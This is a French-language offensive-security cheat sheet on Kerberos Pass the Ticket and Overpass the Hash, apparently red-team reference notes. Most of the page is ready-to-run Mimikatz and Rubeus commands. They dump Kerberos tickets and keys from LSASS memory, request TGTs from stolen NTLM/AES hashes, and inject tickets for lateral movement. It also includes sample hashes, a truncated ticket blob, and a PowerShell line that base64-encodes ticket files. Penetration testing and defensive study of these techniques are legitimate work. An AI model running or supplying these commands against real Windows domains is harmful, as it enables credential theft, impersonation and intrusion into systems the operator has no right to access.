Skip to content

Pass the Ticket (PtT)

Principe

Voler / extraire un ticket kerberos et le réutiliser

  • s'il s'agit d'un TGT, on pourra demander de nouveaux TGS
  • s'il s'agit d'un TGS, on pourra l'utiliser pour communiquer avec le service cible.

Pour collecter les tickets Kerberos, on utilisera soit mimikatz, soit rubeus localement.

Collecter des tickets Kerberos

Mimikatz

# crée un fichier .kirbi par ticket exporté
mimikatz.exe privilege::debug "sekurlsa::tickets /export"

Rubeus

# Affiche dans la console la encodée en base 64 des tickets kirbi
Rubeus.exe dump /nowrap

Utiliser des tickets

Mimikatz

mimikatz.exe privilege::debug "kerberos::ptt ticket.kirbi"

Créer ses propres tickets

Cette technique s'appelle OverPass the Hash ou Pass The Key

Prérequis : disposer d'un Hash de mot de passe (RC4_HMAC, AES256_CTS_HMAC_SHA1, etc.)

Extraire les clé Kerberos

# récupération des clés AES256_HMAC et RC4_HMA
mimikatz.exe privilege::debug "sekurlsa::ekeys"

Pass the Key (OverPass the Hash)

Permet de demander un TGT à partir d'un hash

Mimikatz

Nécessite d'être administrateur local

# crée un processus cmd.exe ayant en mémoire le TGT de MYUSER 
mimikatz.exe privilege::debug "sekurlsa::pth /domain:domain.local /user:MYUSER /ntlm:<THE_HASH>"

Rubeus

Ne nécessite pas d'être administrateur local :)

# affiche la version encodée en b64 du kirbi
Rubeus.exe  asktgt /domain:domain.local /user:MYUSER /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

Pass The Ticket

Utiliser les tickets pour réaliser des mouvements latéraux.

Rubeus

# Sans ticket préalable : 
# réalise à la fois le PassTheKey et le Pass The Ticket
Rubeus.exe asktgt /domain:domain.local /user:MYUSER /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

# Importation depuis un ticket.kirbi
Rubeus.exe ptt /ticket:ticket.kirbi

# PTT depuis un ticket encodé en base 64 (récupéré de rubeus OPtH ou encodé à la main)
Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>

Mimikatz

mimikatz.exe privilege::debug "kerberos::ptt ticket.kirbi"

Encoder manuellement un kirbi en base 64

[Convert]::ToBase64String([IO.File]::ReadAllBytes("ticket.kirbi"))

Resources

Présentation parlant de PTT et de Golden Tickets (par Benjamin DELPY)

https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it